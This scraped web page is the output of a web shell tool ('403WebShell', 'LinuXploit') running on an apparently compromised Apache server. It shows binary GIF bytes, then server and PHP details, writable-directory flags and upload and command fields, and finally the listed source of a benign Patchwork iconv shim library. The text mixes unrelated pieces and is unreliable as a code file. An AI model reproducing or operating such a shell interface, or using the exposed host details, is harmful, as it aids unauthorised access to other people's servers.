GIF89a=( �' 7IAXKgNgYvYx\%wh&h}t�h%�s%x�}9�R��&�0%� (�.��5�SD��&�a)�x5��;ͣ*ȡ&ղ)ׯ7׵<ѻ4�3�H֧KͯT��Y�aq��q��F� !� ' !� NETSCAPE2.0 , =( ��pH,�Ȥr�l:xШtJ�Z�جv��z��xL.:��z�n���|N�����~�������& !�0`9R�}��"�"a:S�~x��������g���E�������R���E����B�� ��ȸ��D���"�Ů� �H��L��D٫D�B�����D���T���H �G��A R�ڐ |�� ٭&��E8�S�kG�A�px�a��� R2XB��E8I���6X�:vT)�~��q�賥��"F~%x� � 4#Z�0O|-4Bs�X:= Q� Sal��yXJ`GȦ|s h��K3l7�B|�$'7Jީܪ0!��D�n=�P� ����0`�R�lj����v>���5 �.69�ϸd�����nlv�9��f{���Pbx �l5}�p� ��� �3a���I�O����!ܾ���i��9��#��)p�a ޽ �{�)vm��%D~ 6f��s}Œ�D�W E�`!� �&L8x� �ܝ{)x`X/>�}m��R�*|`D�=�_ ^�5 !_&'a�O�7�c��`DCx`�¥�9�Y�F���`?��"� �n@`�} lď��@4>�d S �v�xN��"@~d��=�g�s~G��� ���ud &p8Q�)ƫlXD����A~H�ySun�j���k*D�LH�] ��C"J��Xb~ʪwSt}6K,��q�S:9ت:���l�@�`�� �.۬�t9�S�[:��=`9N����{¿�A !R�:���6��x�0�_ �;������^���#����!����U���;0L1�����p% A��U̬ݵ��%�S��!���~`�G���� ���=4�np�3���������u�u�ٮ|%2�I��r�#0��J``8�@S@5� ���^`8E�]�.�S���7 � �0�j S�D� z���i�S�����!���l��w9*�D�I�nEX��� &A�Go�Qf��F��;���}�J����F5��Q|���X��T��y���]� o ��C=��:���PB@ D׽S�(>�C�x}`��xJЬ�۠��p+eE0`�}`A �/NE�� �9@��� H�7�!%B0`�l*��!8 2�%� �:�1�0E��ux%nP1�!�C)�P81l�ɸF#Ƭ{����B0>�� �b�`��O3��()yRpb��E.ZD8�H@% �Rx+%���c� ���f��b�d�`F�"8�XH"��-�|1�6iI, 2�$+](A*j� QT�o0.�U�`�R�}`�SN����yae�����b��o~ S)�y�@��3 �tT�0�&�+~L�f"�-|�~��>!�v��~�\Q1)}@�}h#aP72�"�$ !� " , =( &7IAXG]KgNgYvYxR"k\%w]'}h}t�h%�g+�s%r.m3ax3�x�}9��&��+�!7�0%� (�.�SD��&��;�"&ײ)׻4��6�K� �@pH,�Ȥr�l:xШtJ�Z�جv��z��xL.:��z�n���|N�����~�������& !�0`9R�}��"�"a:S�~x��������g �� E �� �������E �´��C���ǶR��D��"Ʒ�ʱH��M��GڬD�B����D��T����G���C�C� l&�~:'�tU�6ɹ#��)�'�.6�&��Ȼ K(8p0N�?!�2"��NIJX>R��OM '��2�*x�>#n� �@<[:�I�f ��T���Cdb��[�}E�5MBo��@�`@��tW-3 �x�B���jI�&E�9[T&$��ﯧ&"s��ȳ����dc�UUρ#���ldj?����`\}���u|3'�R]�6 �S#�!�FKL�*N E���`$�:e�YD�q�.�촁�s \-�jA 9�����-��M[�x(�s��x�|���p��}k�T�DpE@W� ��]k`1� ���Yb ��0l��*n0��"~zBd�~u�7�0Bl��0-�x~|U�U0 �h�*HS�|��e"#"?vp�i`e6^�+q��`m8 #V�� ��VS|`��"m"сSn|@:U���~`pb�G�ED����2F�I�? >�x� R� ��%~jx��<�a�9ij�2�D��&: Z`�]w���:�6��B�7eFJ|�ҧ�,���FǮcS�ʶ+B�,�ܺN���>PAD�HD��~���n��}�#�� Q��S���2�X�{�k�lQ�2�����w�|2� h9��G�,m���3��6-��E�L��I�³*K���q�`DwV�QXS��peS��� qܧTS����R�u �<�a�*At�lmE� � ��N[P1�ۦ��$��@`��Dpy�yXvCAy�B`}D� 0QwG#� �a[^�� $���Ǧ{L�"[��K�g�;�S~��GX.�goT.��ư��x���?1z��x~:�g�|�L� ��S`��0S]P�^p F<""�?!,�!N4&P� ����:T�@h�9%t��:�-~�I<`�9p I&.)^ 40D#p@�j4�ج:�01��rܼF2oW�#Z ;$Q q  �K��Nl#29 !F@�Bh�ᏬL!XF�LHKh�.�hE&J�G��<"WN!�����Y@� >R~19J"�2,/ &.GXB%�R�9B6�W]���W�I�$��9�RE8Y� ��"�A5�Q.axB�&ة�J�! �t)K%tS-�JF b�NMxL��)�R��"���6O!TH�H� 0 !� ) , =( &AXKgNgYvYxR"k\%wh&h}h%�g+�s%r.x3�x�}9��&��+�R,�!7�0%� (�.��5��&�a)��;�"&ף*Ȳ)ׯ7׻4�3��6�H֧KͻH�T��Y��q��h� ��pH,�Ȥr�l:xШtJ�Z�جv��z��xL.:��z�n���|N�����~�������& !�0`9R�}��"�"a:S�~x��������g �� E$����� � ����$E$��"��D� � ������R��C��� E ��H�M��G�D� �B��ϾD��a��`1r��Ӑ�� �o~�zU!L�C'�yW�UGt����ll�0���uG�)A�s[��x� �xO%��X2�  P�n:R/��aHae+�Dm?# ǣ6�8�J�x�Di�M���j���5oQ7�- <! *�l��R2r/a!l)d� A"�E���� &� ;��c �%����b��pe~C"B���H�eF2��`8qb�t_`ur`e� w�u3��Pv�h""�`�Íx�LĹ��3� �~ֺ�:���MDfJ� �۵�W�%�S�X �؁)�@��:E��w�u�Sxb8y\m�zS��Zb�E�L��w!y(>�"w�=�|��s�d �C�W)H�cC$�L �7r.�\{)@�`@ �X�$PD `aaG:���O�72E�amn]�"Rc�x�R� &dR8`g��i�xLR!�P &d����T���i�|�_ � Qi�#�`g:��:noM� :V �)p����W&a=�e�k� j���1߲s�x�W�jal|0��B0�, \j۴:6���C ��W��|��9���zĸV {�;��n��V�m�I��.��PN� ����C��+��By�ѾHŸ:��� 7�Y�FTk�SaoaY$D�S���29R�kt� ��f� ��:��Sp�3�I��DZ� �9���g��u�*3)O��[_hv ,���Et x�BH� �[��64M@�S�M7d�l�ܶ5-��U܍��z�R3Ԭ3~ ��P��5�g: ���kN�&0�j4���#{��3S�2�K�'ợl���2K{� {۶?~m𸧠�I�nE�='����^���_�=��~�#O���'���o..�Y�n��CSO��a��K��o,���b�����{�C�� "�{�K ��w��Ozdը�:$ ���v�] A#� ���a�z)Rx׿ƥ�d``�w-�y�f�K!����|��P��=�`�(f��'Pa ��BJa%��f�%`�}F����6>��`G"�}�=�!o`�^FP�ةQ�C���`(�}\�ݮ ��$<��n@dĠE#��U�I�!� #l��9`k���'Rr��Z�NB�MF �[�+9���-�wj���8�r� ,V�h"�|�S=�G_��"E� 0i*%̲��da0mVk�):;&6p>�jK ��# �D�:�c?:R Ӭf��I-�"�<�="��7�3S��c2RW ,�8(T"P0F¡Jh�" ; 403WebShell
403Webshell
Server IP : 81.88.48.95  /  Your IP : 10.3.214.167, 216.73.216.3
Web Server : Apache
System : Linux opus15 3.2.0-4-amd64 #1 SMP Debian 3.2.68-1+deb7u3 x86_64
User : nobody ( 99)
PHP Version : 5.3.3-7+squeeze3
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /web/sites/vhbu3/1/14/102637/vendor/patchwork/utf8/class/Patchwork/PHP/Shim/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /web/sites/vhbu3/1/14/102637/vendor/patchwork/utf8/class/Patchwork/PHP/Shim/Iconv.php
<?php // vi: set fenc=utf-8 ts=4 sw=4 et:
/*
 * Copyright (C) 2013 Nicolas Grekas - p@tchwork.com
 *
 * This library is free software; you can redistribute it and/or modify it
 * under the terms of the (at your option):
 * Apache License v2.0 (http://apache.org/licenses/LICENSE-2.0.txt), or
 * GNU General Public License v2.0 (http://gnu.org/licenses/gpl-2.0.txt).
 */

namespace Patchwork\PHP\Shim;

/**
 * iconv implementation in pure PHP, UTF-8 centric.
 *
 * Implemented:
 * - iconv              - Convert string to requested character encoding
 * - iconv_mime_decode  - Decodes a MIME header field
 * - iconv_mime_decode_headers - Decodes multiple MIME header fields at once
 * - iconv_get_encoding - Retrieve internal configuration variables of iconv extension
 * - iconv_set_encoding - Set current setting for character encoding conversion
 * - iconv_mime_encode  - Composes a MIME header field
 * - ob_iconv_handler   - Convert character encoding as output buffer handler
 * - iconv_strlen       - Returns the character count of string
 * - iconv_strpos       - Finds position of first occurrence of a needle within a haystack
 * - iconv_strrpos      - Finds the last occurrence of a needle within a haystack
 * - iconv_substr       - Cut out part of a string
 *
 * Charsets available for convertion are defined by files
 * in the charset/ directory and by Iconv::$alias below.
 * You're welcome to send back any addition you make.
 */
class Iconv
{
    const

    ERROR_ILLEGAL_CHARACTER = 'iconv(): Detected an illegal character in input string',
    ERROR_WRONG_CHARSET     = 'iconv(): Wrong charset, conversion from `%s\' to `%s\' is not allowed';


    protected static

    $input_encoding = 'utf-8',
    $output_encoding = 'utf-8',
    $internal_encoding = 'utf-8',

    $alias = array(
        'utf8' => 'utf-8',
        'ascii' => 'us-ascii',
        'tis-620' => 'iso-8859-11',
        'cp1250' => 'windows-1250',
        'cp1251' => 'windows-1251',
        'cp1252' => 'windows-1252',
        'cp1253' => 'windows-1253',
        'cp1254' => 'windows-1254',
        'cp1255' => 'windows-1255',
        'cp1256' => 'windows-1256',
        'cp1257' => 'windows-1257',
        'cp1258' => 'windows-1258',
        'shift-jis' => 'cp932',
        'shift_jis' => 'cp932',
        'latin1' => 'iso-8859-1',
        'latin2' => 'iso-8859-2',
        'latin3' => 'iso-8859-3',
        'latin4' => 'iso-8859-4',
        'latin5' => 'iso-8859-9',
        'latin6' => 'iso-8859-10',
        'latin7' => 'iso-8859-13',
        'latin8' => 'iso-8859-14',
        'latin9' => 'iso-8859-15',
        'latin10' => 'iso-8859-16',
        'iso8859-1' => 'iso-8859-1',
        'iso8859-2' => 'iso-8859-2',
        'iso8859-3' => 'iso-8859-3',
        'iso8859-4' => 'iso-8859-4',
        'iso8859-5' => 'iso-8859-5',
        'iso8859-6' => 'iso-8859-6',
        'iso8859-7' => 'iso-8859-7',
        'iso8859-8' => 'iso-8859-8',
        'iso8859-9' => 'iso-8859-9',
        'iso8859-10' => 'iso-8859-10',
        'iso8859-11' => 'iso-8859-11',
        'iso8859-12' => 'iso-8859-12',
        'iso8859-13' => 'iso-8859-13',
        'iso8859-14' => 'iso-8859-14',
        'iso8859-15' => 'iso-8859-15',
        'iso8859-16' => 'iso-8859-16',
        'iso_8859-1' => 'iso-8859-1',
        'iso_8859-2' => 'iso-8859-2',
        'iso_8859-3' => 'iso-8859-3',
        'iso_8859-4' => 'iso-8859-4',
        'iso_8859-5' => 'iso-8859-5',
        'iso_8859-6' => 'iso-8859-6',
        'iso_8859-7' => 'iso-8859-7',
        'iso_8859-8' => 'iso-8859-8',
        'iso_8859-9' => 'iso-8859-9',
        'iso_8859-10' => 'iso-8859-10',
        'iso_8859-11' => 'iso-8859-11',
        'iso_8859-12' => 'iso-8859-12',
        'iso_8859-13' => 'iso-8859-13',
        'iso_8859-14' => 'iso-8859-14',
        'iso_8859-15' => 'iso-8859-15',
        'iso_8859-16' => 'iso-8859-16',
        'iso88591' => 'iso-8859-1',
        'iso88592' => 'iso-8859-2',
        'iso88593' => 'iso-8859-3',
        'iso88594' => 'iso-8859-4',
        'iso88595' => 'iso-8859-5',
        'iso88596' => 'iso-8859-6',
        'iso88597' => 'iso-8859-7',
        'iso88598' => 'iso-8859-8',
        'iso88599' => 'iso-8859-9',
        'iso885910' => 'iso-8859-10',
        'iso885911' => 'iso-8859-11',
        'iso885912' => 'iso-8859-12',
        'iso885913' => 'iso-8859-13',
        'iso885914' => 'iso-8859-14',
        'iso885915' => 'iso-8859-15',
        'iso885916' => 'iso-8859-16',
    ),

    $translit_map = array(),
    $convert_map = array(),
    $error_handler,
    $last_error,

    $ulen_mask = array("\xC0" => 2, "\xD0" => 2, "\xE0" => 3, "\xF0" => 4),
    $is_valid_utf8;


    static function iconv($in_charset, $out_charset, $str)
    {
        if ('' === (string) $str) return '';


        // Prepare for //IGNORE and //TRANSLIT

        $TRANSLIT = $IGNORE = '';

        $out_charset = strtolower($out_charset);
        $in_charset  = strtolower($in_charset );

        '' === $out_charset && $out_charset = 'iso-8859-1';
        '' ===  $in_charset &&  $in_charset = 'iso-8859-1';

        if ('//translit' === substr($out_charset, -10))
        {
            $TRANSLIT = '//TRANSLIT';
            $out_charset = substr($out_charset, 0, -10);
        }

        if ('//ignore' === substr($out_charset, -8))
        {
            $IGNORE = '//IGNORE';
            $out_charset = substr($out_charset, 0, -8);
        }

        '//translit' === substr($in_charset, -10) && $in_charset = substr($in_charset, 0, -10);
        '//ignore'   === substr($in_charset,  -8) && $in_charset = substr($in_charset, 0,  -8);

        isset(self::$alias[ $in_charset]) &&  $in_charset = self::$alias[ $in_charset];
        isset(self::$alias[$out_charset]) && $out_charset = self::$alias[$out_charset];


        // Load charset maps

        if ( ('utf-8' !==  $in_charset && !self::loadMap('from.',  $in_charset,  $in_map))
          || ('utf-8' !== $out_charset && !self::loadMap(  'to.', $out_charset, $out_map)) )
        {
            user_error(sprintf(self::ERROR_WRONG_CHARSET, $in_charset, $out_charset));
            return false;
        }


        if ('utf-8' !== $in_charset)
        {
            // Convert input to UTF-8
            $result = '';
            if (self::map_to_utf8($result, $in_map, $str, $IGNORE)) $str = $result;
            else $str = false;
            self::$is_valid_utf8 = true;
        }
        else
        {
            self::$is_valid_utf8 = preg_match('//u', $str);

            if (!self::$is_valid_utf8 && !$IGNORE)
            {
                user_error(self::ERROR_ILLEGAL_CHARACTER);
                return false;
            }

            if ('utf-8' === $out_charset)
            {
                // UTF-8 validation
                $str = self::utf8_to_utf8($str, $IGNORE);
            }
        }

        if ('utf-8' !== $out_charset && false !== $str)
        {
            // Convert output to UTF-8
            $result = '';
            if (self::map_from_utf8($result, $out_map, $str, $IGNORE, $TRANSLIT)) return $result;
            else return false;
        }
        else return $str;
    }

    static function iconv_mime_decode_headers($str, $mode = 0, $charset = INF)
    {
        INF === $charset && $charset = self::$internal_encoding;

        false !== strpos($str, "\r") && $str = strtr(str_replace("\r\n", "\n", $str), "\r", "\n");
        $str = explode("\n\n", $str, 2);

        $headers = array();

        $str = preg_split('/\n(?![ \t])/', $str[0]);
        foreach ($str as $str)
        {
            $str = self::iconv_mime_decode($str, $mode, $charset);
            if (false === $str) return false;
            $str = explode(':', $str, 2);

            if (2 === count($str))
            {
                if (isset($headers[$str[0]]))
                {
                    is_array($headers[$str[0]]) || $headers[$str[0]] = array($headers[$str[0]]);
                    $headers[$str[0]][] = ltrim($str[1]);
                }
                else $headers[$str[0]] = ltrim($str[1]);
            }
        }

        return $headers;
    }

    static function iconv_mime_decode($str, $mode = 0, $charset = INF)
    {
        INF === $charset && $charset = self::$internal_encoding;
        if (ICONV_MIME_DECODE_CONTINUE_ON_ERROR & $mode) $charset .= '//IGNORE';

        false !== strpos($str, "\r") && $str = strtr(str_replace("\r\n", "\n", $str), "\r", "\n");
        $str = preg_split('/\n(?![ \t])/', rtrim($str), 2);
        $str = preg_replace('/[ \t]*\n[ \t]+/', ' ', rtrim($str[0]));
        $str = preg_split('/=\?([^?]+)\?([bqBQ])\?(.*?)\?=/', $str, -1, PREG_SPLIT_DELIM_CAPTURE);

        $result = self::iconv('utf-8', $charset, $str[0]);
        if (false === $result) return false;

        $i = 1;
        $len = count($str);

        while ($i < $len)
        {
            $c = strtolower($str[$i]);
            if ( (ICONV_MIME_DECODE_CONTINUE_ON_ERROR & $mode)
              && 'utf-8' !== $c
              && !isset(self::$alias[$c])
              && !self::loadMap('from.', $c,  $d) ) $d = false;
            else if ('B' === strtoupper($str[$i+1])) $d = base64_decode($str[$i+2]);
            else $d = rawurldecode(strtr(str_replace('%', '%25', $str[$i+2]), '=_', '% '));

            if (false !== $d)
            {
                $result .= self::iconv($c, $charset, $d);
                $d = self::iconv('utf-8' , $charset, $str[$i+3]);
                if ('' !== trim($d)) $result .= $d;
            }
            else if (ICONV_MIME_DECODE_CONTINUE_ON_ERROR & $mode)
            {
                $result .= "=?{$str[$i]}?{$str[$i+1]}?{$str[$i+2]}?={$str[$i+3]}";
            }
            else
            {
                $result = false;
                break;
            }

            $i += 4;
        }

        return $result;
    }

    static function iconv_get_encoding($type = 'all')
    {
        switch ($type)
        {
        case 'input_encoding'   : return self::$input_encoding;
        case 'output_encoding'  : return self::$output_encoding;
        case 'internal_encoding': return self::$internal_encoding;
        }

        return array(
            'input_encoding'    => self::$input_encoding,
            'output_encoding'   => self::$output_encoding,
            'internal_encoding' => self::$internal_encoding
        );
    }

    static function iconv_set_encoding($type, $charset)
    {
        switch ($type)
        {
        case 'input_encoding'   : self::$input_encoding    = $charset; break;
        case 'output_encoding'  : self::$output_encoding   = $charset; break;
        case 'internal_encoding': self::$internal_encoding = $charset; break;

        default: return false;
        }

        return true;
    }

    static function iconv_mime_encode($field_name, $field_value, $pref = INF)
    {
        is_array($pref) || $pref = array();

        $pref += array(
            'scheme'           => 'B',
            'input-charset'    => self::$internal_encoding,
            'output-charset'   => self::$internal_encoding,
            'line-length'      => 76,
            'line-break-chars' => "\r\n"
        );

        preg_match('/[\x80-\xFF]/', $field_name) && $field_name = '';

        $scheme = strtoupper(substr($pref['scheme'], 0, 1));
        $in  = strtolower($pref['input-charset']);
        $out = strtolower($pref['output-charset']);

        if ('utf-8' !== $in && false === $field_value = self::iconv($in, 'utf-8', $field_value)) return false;

        preg_match_all('/./us', $field_value, $chars);

        $chars = isset($chars[0]) ? $chars[0] : array();

        $line_break  = (int) $pref['line-length'];
        $line_start  = "=?{$pref['output-charset']}?{$scheme}?";
        $line_length = strlen($field_name) + 2 + strlen($line_start) + 2;
        $line_offset = strlen($line_start) + 3;
        $line_data   = '';

        $field_value = array();

        $Q = 'Q' === $scheme;

        foreach ($chars as $c)
        {
            if ('utf-8' !== $out && false === $c = self::iconv('utf-8', $out, $c)) return false;

            $o = $Q
                ? $c = preg_replace_callback(
                    '/[=_\?\x00-\x1F\x80-\xFF]/',
                    array(__CLASS__, 'qp_byte_callback'),
                    $c
                )
                : base64_encode($line_data . $c);

            if (isset($o[$line_break - $line_length]))
            {
                $Q || $line_data = base64_encode($line_data);
                $field_value[] = $line_start . $line_data . '?=';
                $line_length = $line_offset;
                $line_data = '';
            }

            $line_data .= $c;
            $Q && $line_length += strlen($c);
        }

        if ('' !== $line_data)
        {
            $Q || $line_data = base64_encode($line_data);
            $field_value[] = $line_start . $line_data . '?=';
        }

        return $field_name . ': ' . implode($pref['line-break-chars'] . ' ', $field_value);
    }

    static function ob_iconv_handler($buffer, $mode)
    {
        return self::iconv(self::$internal_encoding, self::$output_encoding, $buffer);
    }

    static function iconv_strlen($s, $encoding = INF)
    {
/**/    if (extension_loaded('xml'))
            return self::strlen1($s, $encoding);
/**/    else
            return self::strlen2($s, $encoding);
    }

    static function strlen1($s, $encoding = INF)
    {
        INF === $encoding && $encoding = self::$internal_encoding;
        if (0 !== strncasecmp($encoding, 'utf-8', 5) && false === $s = self::iconv($encoding, 'utf-8', $s)) return false;

        return strlen(utf8_decode($s));
    }

    static function strlen2($s, $encoding = INF)
    {
        INF === $encoding && $encoding = self::$internal_encoding;
        if (0 !== strncasecmp($encoding, 'utf-8', 5) && false === $s = self::iconv($encoding, 'utf-8', $s)) return false;

        $ulen_mask = self::$ulen_mask;

        $i = 0; $j = 0;
        $len = strlen($s);

        while ($i < $len)
        {
            $u = $s[$i] & "\xF0";
            $i += isset($ulen_mask[$u]) ? $ulen_mask[$u] : 1;
            ++$j;
        }

        return $j;
    }

    static function iconv_strpos($haystack, $needle, $offset = 0, $encoding = INF)
    {
        INF === $encoding && $encoding = self::$internal_encoding;

        if (0 !== strncasecmp($encoding, 'utf-8', 5))
        {
            if (false === $haystack = self::iconv($encoding, 'utf-8', $haystack)) return false;
            if (false === $needle = self::iconv($encoding, 'utf-8', $needle)) return false;
        }

        if ($offset = (int) $offset) $haystack = self::iconv_substr($haystack, $offset, 2147483647, 'utf-8');
        $pos = strpos($haystack, $needle);
        return false === $pos ? false : ($offset + ($pos ? self::iconv_strlen(substr($haystack, 0, $pos), 'utf-8') : 0));
    }

    static function iconv_strrpos($haystack, $needle, $encoding = INF)
    {
        INF === $encoding && $encoding = self::$internal_encoding;

        if (0 !== strncasecmp($encoding, 'utf-8', 5))
        {
            if (false === $haystack = self::iconv($encoding, 'utf-8', $haystack)) return false;
            if (false === $needle = self::iconv($encoding, 'utf-8', $needle)) return false;
        }

        $pos = isset($needle[0]) ? strrpos($haystack, $needle) : false;
        return false === $pos ? false : self::iconv_strlen($pos ? substr($haystack, 0, $pos) : $haystack, 'utf-8');
    }

    static function iconv_substr($s, $start, $length = 2147483647, $encoding = INF)
    {
        INF === $encoding && $encoding = self::$internal_encoding;
        if (0 === strncasecmp($encoding, 'utf-8', 5)) $encoding = INF;
        else if (false === $s = self::iconv($encoding, 'utf-8', $s)) return false;

        $slen = self::iconv_strlen($s, 'utf-8');
        $start = (int) $start;

        if (0 > $start) $start += $slen;
        if (0 > $start) return false;
        if ($start >= $slen) return false;

        $rx = $slen - $start;

        if (0 > $length) $length += $rx;
        if (0 === $length) return '';
        if (0 > $length) return false;

        if ($length > $rx) $length = $rx;

        $rx = '/^' . ($start ? self::preg_offset($start) : '') . '(' . self::preg_offset($length) . ')/u';

        $s = preg_match($rx, $s, $s) ? $s[1] : '';

        if (INF === $encoding) return $s;
        else return self::iconv('utf-8', $encoding, $s);
    }

    protected static function loadMap($type, $charset, &$map)
    {
        if (!isset(self::$convert_map[$type . $charset]))
        {
            if (false === $map = self::getData($type . $charset))
            {
                if ('to.' === $type && self::loadMap('from.', $charset, $map)) $map = array_flip($map);
                else return false;
            }

            self::$convert_map[$type . $charset] = $map;
        }
        else $map = self::$convert_map[$type . $charset];

        return true;
    }

    protected static function utf8_to_utf8($str, $IGNORE)
    {
        $ulen_mask = self::$ulen_mask;
        $valid     = self::$is_valid_utf8;

        $u = $str;
        $i = $j = 0;
        $len = strlen($str);

        while ($i < $len)
        {
            if ($str[$i] < "\x80") $u[$j++] = $str[$i++];
            else
            {
                $ulen = $str[$i] & "\xF0";
                $ulen = isset($ulen_mask[$ulen]) ? $ulen_mask[$ulen] : 1;
                $uchr = substr($str, $i, $ulen);

                if (1 === $ulen || !($valid || preg_match('/^.$/us', $uchr)))
                {
                    if ($IGNORE)
                    {
                        ++$i;
                        continue;
                    }

                    user_error(self::ERROR_ILLEGAL_CHARACTER);
                    return false;
                }
                else $i += $ulen;

                $u[$j++] = $uchr[0];

                   isset($uchr[1]) && 0 !== ($u[$j++] = $uchr[1])
                && isset($uchr[2]) && 0 !== ($u[$j++] = $uchr[2])
                && isset($uchr[3]) && 0 !== ($u[$j++] = $uchr[3]);
            }
        }

        return substr($u, 0, $j);
    }

    protected static function map_to_utf8(&$result, $map, $str, $IGNORE)
    {
        $len = strlen($str);
        for ($i = 0; $i < $len; ++$i)
        {
            if (isset($str[$i+1], $map[$str[$i] . $str[$i+1]])) $result .= $map[$str[$i] . $str[++$i]];
            else if (isset($map[$str[$i]])) $result .= $map[$str[$i]];
            else if (!$IGNORE)
            {
                user_error(self::ERROR_ILLEGAL_CHARACTER);
                return false;
            }
        }

        return true;
    }

    protected static function map_from_utf8(&$result, $map, $str, $IGNORE, $TRANSLIT)
    {
        $ulen_mask = self::$ulen_mask;
        $valid     = self::$is_valid_utf8;

        if ($TRANSLIT) self::$translit_map or self::$translit_map = self::getData('translit');

        $i = 0;
        $len = strlen($str);

        while ($i < $len)
        {
            if ($str[$i] < "\x80") $uchr = $str[$i++];
            else
            {
                $ulen = $str[$i] & "\xF0";
                $ulen = isset($ulen_mask[$ulen]) ? $ulen_mask[$ulen] : 1;
                $uchr = substr($str, $i, $ulen);

                if ($IGNORE && (1 === $ulen || !($valid || preg_match('/^.$/us', $uchr))))
                {
                    ++$i;
                    continue;
                }
                else $i += $ulen;
            }

            if (isset($map[$uchr]))
            {
                $result .= $map[$uchr];
            }
            else if ($TRANSLIT)
            {
                if (isset(self::$translit_map[$uchr]))
                {
                    $uchr = self::$translit_map[$uchr];
                }
                else if ($uchr >= "\xC3\x80")
                {
                    $uchr = \Normalizer::normalize($uchr, \Normalizer::NFD);
                    $uchr = preg_split('/(.)/', $uchr, 2, PREG_SPLIT_DELIM_CAPTURE);

                    if (isset($uchr[2][0])) $uchr = $uchr[1];
                    else if ($IGNORE) continue;
                    else return false;
                }

                $str = $uchr . substr($str, $i);
                $len = strlen($str);
                $i = 0;
            }
            else if (!$IGNORE)
            {
                return false;
            }
        }

        return true;
    }

    protected static function qp_byte_callback($m)
    {
        return '=' . strtoupper(dechex(ord($m[0])));
    }

    protected static function preg_offset($offset)
    {
        $rx = array();
        $offset = (int) $offset;

        while ($offset > 65535)
        {
            $rx[] = '.{65535}';
            $offset -= 65535;
        }

        return implode('', $rx) . '.{' . $offset . '}';
    }

    protected static function getData($file)
    {
        $file = __DIR__ . '/charset/' . $file . '.ser';
        if (file_exists($file)) return unserialize(file_get_contents($file));
        else return false;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit